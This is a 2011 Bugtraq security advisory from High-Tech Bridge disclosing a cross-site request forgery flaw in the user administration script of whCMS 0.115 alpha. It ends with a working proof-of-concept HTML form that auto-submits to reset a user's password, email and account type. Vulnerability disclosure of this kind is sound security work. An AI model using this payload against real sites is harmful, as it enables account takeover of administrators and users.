bugtraq - XSRF (CSRF) in whCMS

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Message-Id: <201101111129.p0BBTuvj020248@htbridge.ch>
Date: Tue, 11 Jan 2011 12:29:56 +0100 (CET)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: XSRF (CSRF) in whCMS

Vulnerability ID: HTB22767
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_whcms.html
Product: whCMS
Vendor: Joram van den Boezem ( http://whcms.burolaga.nl/ ) 
Vulnerable Version: 0.115 alpha and probably prior versions
Vendor Notification: 28 December 2010 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "modules/user/user.admin.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/index.php?module=user&task=save&elmid=" method="post" name="main">
<input type="hidden" name="id" value="USER_ID">
<input type="hidden" name="module" value="100">
<input type="hidden" name="newpass1" value="newpass">
<input type="hidden" name="newpass2" value="newpass">
<input type="hidden" name="email" value="email2@...mple.com">
<input type="hidden" name="usertype_id" value="2">
</form>
<script>
document.main.submit();
</script>